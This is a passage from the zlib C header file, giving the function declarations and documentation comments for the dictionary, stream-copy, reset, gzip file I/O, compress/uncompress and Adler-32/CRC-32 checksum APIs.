predicted with good accuracy; the data can then be compressed better than
with the default empty dictionary.
Depending on the size of the compression data structures selected by
deflateInit or deflateInit2, a part of the dictionary may in effect be
discarded, for example if the dictionary is larger than the window size in
deflate or deflate2. Thus the strings most likely to be useful should be
put at the end of the dictionary, not at the front.
Upon return of this function, strm->adler is set to the Adler32 value
of the dictionary; the decompressor may later use this value to determine
which dictionary has been used by the compressor. (The Adler32 value
applies to the whole dictionary even if only a subset of the dictionary is
actually used by the compressor.)
deflateSetDictionary returns Z_OK if success, or Z_STREAM_ERROR if a
parameter is invalid (such as NULL dictionary) or the stream state is
inconsistent (for example if deflate has already been called for this stream
or if the compression method is bsort). deflateSetDictionary does not
perform any compression: this will be done by deflate().
*/
ZEXTERN int ZEXPORT deflateCopy OF((z_streamp dest,
z_streamp source));
/*
Sets the destination stream as a complete copy of the source stream.
This function can be useful when several compression strategies will be
tried, for example when there are several ways of pre-processing the input
data with a filter. The streams that will be discarded should then be freed
by calling deflateEnd. Note that deflateCopy duplicates the internal
compression state which can be quite large, so this strategy is slow and
can consume lots of memory.
deflateCopy returns Z_OK if success, Z_MEM_ERROR if there was not
enough memory, Z_STREAM_ERROR if the source stream state was inconsistent
(such as zalloc being NULL). msg is left unchanged in both source and
destination.
*/
ZEXTERN int ZEXPORT deflateReset OF((z_streamp strm));
/*
This function is equivalent to deflateEnd followed by deflateInit,
but does not free and reallocate all the internal compression state.
The stream will keep the same compression level and any other attributes
that may have been set by deflateInit2.
deflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source
stream state was inconsistent (such as zalloc or state being NULL).
*/
ZEXTERN int ZEXPORT deflateParams OF((z_streamp strm,
int level,
int strategy));
/*
Dynamically update the compression level and compression strategy. The
interpretation of level and strategy is as in deflateInit2. This can be
used to switch between compression and straight copy of the input data, or
to switch to a different kind of input data requiring a different
strategy. If the compression level is changed, the input available so far
is compressed with the old level (and may be flushed); the new level will
take effect only at the next call of deflate().
Before the call of deflateParams, the stream state must be set as for
a call of deflate(), since the currently available input may have to
be compressed and flushed. In particular, strm->avail_out must be non-zero.
deflateParams returns Z_OK if success, Z_STREAM_ERROR if the source
stream state was inconsistent or if a parameter was invalid, Z_BUF_ERROR
if strm->avail_out was zero.
*/
/*
ZEXTERN int ZEXPORT inflateInit2 OF((z_streamp strm,
int windowBits));
This is another version of inflateInit with an extra parameter. The
fields next_in, avail_in, zalloc, zfree and opaque must be initialized
before by the caller.
The windowBits parameter is the base two logarithm of the maximum window
size (the size of the history buffer). It should be in the range 8..15 for
this version of the library. The default value is 15 if inflateInit is used
instead. If a compressed stream with a larger window size is given as
input, inflate() will return with the error code Z_DATA_ERROR instead of
trying to allocate a larger window.
inflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
memory, Z_STREAM_ERROR if a parameter is invalid (such as a negative
memLevel). msg is set to null if there is no error message. inflateInit2
does not perform any decompression apart from reading the zlib header if
present: this will be done by inflate(). (So next_in and avail_in may be
modified, but next_out and avail_out are unchanged.)
*/
ZEXTERN int ZEXPORT inflateSetDictionary OF((z_streamp strm,
const Bytef *dictionary,
uInt dictLength));
/*
Initializes the decompression dictionary from the given uncompressed byte
sequence. This function must be called immediately after a call of inflate
if this call returned Z_NEED_DICT. The dictionary chosen by the compressor
can be determined from the Adler32 value returned by this call of
inflate. The compressor and decompressor must use exactly the same
dictionary (see deflateSetDictionary).
inflateSetDictionary returns Z_OK if success, Z_STREAM_ERROR if a
parameter is invalid (such as NULL dictionary) or the stream state is
inconsistent, Z_DATA_ERROR if the given dictionary doesn't match the
expected one (incorrect Adler32 value). inflateSetDictionary does not
perform any decompression: this will be done by subsequent calls of
inflate().
*/
ZEXTERN int ZEXPORT inflateSync OF((z_streamp strm));
/*
Skips invalid compressed data until a full flush point (see above the
description of deflate with Z_FULL_FLUSH) can be found, or until all
available input is skipped. No output is provided.
inflateSync returns Z_OK if a full flush point has been found, Z_BUF_ERROR
if no more input was provided, Z_DATA_ERROR if no flush point has been found,
or Z_STREAM_ERROR if the stream structure was inconsistent. In the success
case, the application may save the current current value of total_in which
indicates where valid compressed data was found. In the error case, the
application may repeatedly call inflateSync, providing more input each time,
until success or end of the input data.
*/
ZEXTERN int ZEXPORT inflateReset OF((z_streamp strm));
/*
This function is equivalent to inflateEnd followed by inflateInit,
but does not free and reallocate all the internal decompression state.
The stream will keep attributes that may have been set by inflateInit2.
inflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source
stream state was inconsistent (such as zalloc or state being NULL).
*/
/* utility functions */
/*
The following utility functions are implemented on top of the
basic stream-oriented functions. To simplify the interface, some
default options are assumed (compression level and memory usage,
standard memory allocation functions). The source code of these
utility functions can easily be modified if you need special options.
*/
ZEXTERN int ZEXPORT compress OF((Bytef *dest, uLongf *destLen,
const Bytef *source, uLong sourceLen));
/*
Compresses the source buffer into the destination buffer. sourceLen is
the byte length of the source buffer. Upon entry, destLen is the total
size of the destination buffer, which must be at least 0.1% larger than
sourceLen plus 12 bytes. Upon exit, destLen is the actual size of the
compressed buffer.
This function can be used to compress a whole file at once if the
input file is mmap'ed.
compress returns Z_OK if success, Z_MEM_ERROR if there was not
enough memory, Z_BUF_ERROR if there was not enough room in the output
buffer.
*/
ZEXTERN int ZEXPORT compress2 OF((Bytef *dest, uLongf *destLen,
const Bytef *source, uLong sourceLen,
int level));
/*
Compresses the source buffer into the destination buffer. The level
parameter has the same meaning as in deflateInit. sourceLen is the byte
length of the source buffer. Upon entry, destLen is the total size of the
destination buffer, which must be at least 0.1% larger than sourceLen plus
12 bytes. Upon exit, destLen is the actual size of the compressed buffer.
compress2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
memory, Z_BUF_ERROR if there was not enough room in the output buffer,
Z_STREAM_ERROR if the level parameter is invalid.
*/
ZEXTERN int ZEXPORT uncompress OF((Bytef *dest, uLongf *destLen,
const Bytef *source, uLong sourceLen));
/*
Decompresses the source buffer into the destination buffer. sourceLen is
the byte length of the source buffer. Upon entry, destLen is the total
size of the destination buffer, which must be large enough to hold the
entire uncompressed data. (The size of the uncompressed data must have
been saved previously by the compressor and transmitted to the decompressor
by some mechanism outside the scope of this compression library.)
Upon exit, destLen is the actual size of the compressed buffer.
This function can be used to decompress a whole file at once if the
input file is mmap'ed.
uncompress returns Z_OK if success, Z_MEM_ERROR if there was not
enough memory, Z_BUF_ERROR if there was not enough room in the output
buffer, or Z_DATA_ERROR if the input data was corrupted.
*/
typedef voidp gzFile;
ZEXTERN gzFile ZEXPORT gzopen OF((const char *path, const char *mode));
/*
Opens a gzip (.gz) file for reading or writing. The mode parameter
is as in fopen ("rb" or "wb") but can also include a compression level
("wb9") or a strategy: 'f' for filtered data as in "wb6f", 'h' for
Huffman only compression as in "wb1h". (See the description
of deflateInit2 for more information about the strategy parameter.)
gzopen can be used to read a file which is not in gzip format; in this
case gzread will directly read from the file without decompression.
gzopen returns NULL if the file could not be opened or if there was
insufficient memory to allocate the (de)compression state; errno
can be checked to distinguish the two cases (if errno is zero, the
zlib error is Z_MEM_ERROR). */
ZEXTERN gzFile ZEXPORT gzdopen OF((int fd, const char *mode));
/*
gzdopen() associates a gzFile with the file descriptor fd. File
descriptors are obtained from calls like open, dup, creat, pipe or
fileno (in the file has been previously opened with fopen).
The mode parameter is as in gzopen.
The next call of gzclose on the returned gzFile will also close the
file descriptor fd, just like fclose(fdopen(fd), mode) closes the file
descriptor fd. If you want to keep fd open, use gzdopen(dup(fd), mode).
gzdopen returns NULL if there was insufficient memory to allocate
the (de)compression state.
*/
ZEXTERN int ZEXPORT gzsetparams OF((gzFile file, int level, int strategy));
/*
Dynamically update the compression level or strategy. See the description
of deflateInit2 for the meaning of these parameters.
gzsetparams returns Z_OK if success, or Z_STREAM_ERROR if the file was not
opened for writing.
*/
ZEXTERN int ZEXPORT gzread OF((gzFile file, voidp buf, unsigned len));
/*
Reads the given number of uncompressed bytes from the compressed file.
If the input file was not in gzip format, gzread copies the given number
of bytes into the buffer.
gzread returns the number of uncompressed bytes actually read (0 for
end of file, -1 for error). */
ZEXTERN int ZEXPORT gzwrite OF((gzFile file,
const voidp buf, unsigned len));
/*
Writes the given number of uncompressed bytes into the compressed file.
gzwrite returns the number of uncompressed bytes actually written
(0 in case of error).
*/
ZEXTERN int ZEXPORTVA gzprintf OF((gzFile file, const char *format, ...));
/*
Converts, formats, and writes the args to the compressed file under
control of the format string, as in fprintf. gzprintf returns the number of
uncompressed bytes actually written (0 in case of error).
*/
ZEXTERN int ZEXPORT gzputs OF((gzFile file, const char *s));
/*
Writes the given null-terminated string to the compressed file, excluding
the terminating null character.
gzputs returns the number of characters written, or -1 in case of error.
*/
ZEXTERN char * ZEXPORT gzgets OF((gzFile file, char *buf, int len));
/*
Reads bytes from the compressed file until len-1 characters are read, or
a newline character is read and transferred to buf, or an end-of-file
condition is encountered. The string is then terminated with a null
character.
gzgets returns buf, or Z_NULL in case of error.
*/
ZEXTERN int ZEXPORT gzputc OF((gzFile file, int c));
/*
Writes c, converted to an unsigned char, into the compressed file.
gzputc returns the value that was written, or -1 in case of error.
*/
ZEXTERN int ZEXPORT gzgetc OF((gzFile file));
/*
Reads one byte from the compressed file. gzgetc returns this byte
or -1 in case of end of file or error.
*/
ZEXTERN int ZEXPORT gzflush OF((gzFile file, int flush));
/*
Flushes all pending output into the compressed file. The parameter
flush is as in the deflate() function. The return value is the zlib
error number (see function gzerror below). gzflush returns Z_OK if
the flush parameter is Z_FINISH and all output could be flushed.
gzflush should be called only when strictly necessary because it can
degrade compression.
*/
ZEXTERN z_off_t ZEXPORT gzseek OF((gzFile file,
z_off_t offset, int whence));
/*
Sets the starting position for the next gzread or gzwrite on the
given compressed file. The offset represents a number of bytes in the
uncompressed data stream. The whence parameter is defined as in lseek(2);
the value SEEK_END is not supported.
If the file is opened for reading, this function is emulated but can be
extremely slow. If the file is opened for writing, only forward seeks are
supported; gzseek then compresses a sequence of zeroes up to the new
starting position.
gzseek returns the resulting offset location as measured in bytes from
the beginning of the uncompressed stream, or -1 in case of error, in
particular if the file is opened for writing and the new starting position
would be before the current position.
*/
ZEXTERN int ZEXPORT gzrewind OF((gzFile file));
/*
Rewinds the given file. This function is supported only for reading.
gzrewind(file) is equivalent to (int)gzseek(file, 0L, SEEK_SET)
*/
ZEXTERN z_off_t ZEXPORT gztell OF((gzFile file));
/*
Returns the starting position for the next gzread or gzwrite on the
given compressed file. This position represents a number of bytes in the
uncompressed data stream.
gztell(file) is equivalent to gzseek(file, 0L, SEEK_CUR)
*/
ZEXTERN int ZEXPORT gzeof OF((gzFile file));
/*
Returns 1 when EOF has previously been detected reading the given
input stream, otherwise zero.
*/
ZEXTERN int ZEXPORT gzclose OF((gzFile file));
/*
Flushes all pending output if necessary, closes the compressed file
and deallocates all the (de)compression state. The return value is the zlib
error number (see function gzerror below).
*/
ZEXTERN const char * ZEXPORT gzerror OF((gzFile file, int *errnum));
/*
Returns the error message for the last error which occurred on the
given compressed file. errnum is set to zlib error number. If an
error occurred in the file system and not in the compression library,
errnum is set to Z_ERRNO and the application may consult errno
to get the exact error code.
*/
/* checksum functions */
/*
These functions are not related to compression but are exported
anyway because they might be useful in applications using the
compression library.
*/
ZEXTERN uLong ZEXPORT adler32 OF((uLong adler, const Bytef *buf, uInt len));
/*
Update a running Adler-32 checksum with the bytes buf[0..len-1] and
return the updated checksum. If buf is NULL, this function returns
the required initial value for the checksum.
An Adler-32 checksum is almost as reliable as a CRC32 but can be computed
much faster. Usage example:
uLong adler = adler32(0L, Z_NULL, 0);
while (read_buffer(buffer, length) != EOF) {
adler = adler32(adler, buffer, length);
}
if (adler != original_adler) error();
*/
ZEXTERN uLong ZEXPORT crc32 OF((uLong crc, const Bytef *buf, uInt len));
/*
Update a running crc with the bytes buf[0..len-1] and return the updated
crc. If buf is NULL, this function returns the required initial value
for the crc. Pre- and post-conditioning (one's complement) is performed
within this function so it shouldn't be done by the application.
Usage example:
uLong crc = crc32(0L, Z_NULL, 0);
while (read_buffer(buffer, length) != EOF) {
crc = crc32(crc, buffer, length);
}
if (crc != original_crc) error();
*/
/* various hacks, don't look :) */
/* deflateInit and inflateInit are macros to allow checking the zlib version
* and the compiler's view of z_stream:
*/
ZEXTERN int ZEXPORT deflateInit_ OF((z_streamp strm, int level,
const char *version, int stream_size));
ZEXTERN int ZEXPORT inflateInit_ OF((z_streamp strm,
const char *version, int stream_size));
ZEXTERN int ZEXPORT deflateInit2_ OF((z_streamp strm, int level, int method,
int windowBits, int memLevel,
int strategy, const char *version,
int stream_size));
ZEXTERN int ZEXPORT inflateInit2_ OF((z_streamp strm, int windowBits,
const char *version, int stream_size));
#define deflateInit(strm, level) \
deflateInit_((strm), (level), ZLIB_VERSION, sizeof(z_stream))
#define inflateInit(strm) \
inflateInit_((strm), ZLIB_VERSION, sizeof(z_stream))
#define deflateInit2(strm, level, method, windowBits, memLevel, strategy) \
deflateInit2_((strm),(level),(method),(windowBits),(memLevel),\
(strategy), ZLIB_VERSION, sizeof(z_stream))
#define inflateInit2(strm, windowBits) \
inflateInit2_((strm), (windowBits), ZLIB_VERSION, sizeof(z_stream))
#if !defined(_Z_UTIL_H) && !defined(NO_DUMMY_DECL)
struct internal_state {int dummy;}; /* hack for buggy compilers */
#endif
ZEXTERN const char * ZEXPORT zError OF((int err));
ZEXTERN int ZEXPORT inflateSyncPoint OF((z_streamp z));
ZEXTERN const uLongf * ZEXPORT get_crc_table OF((void));
#ifdef __cplusplus
}
#endif
#endif /* _ZLIB_H */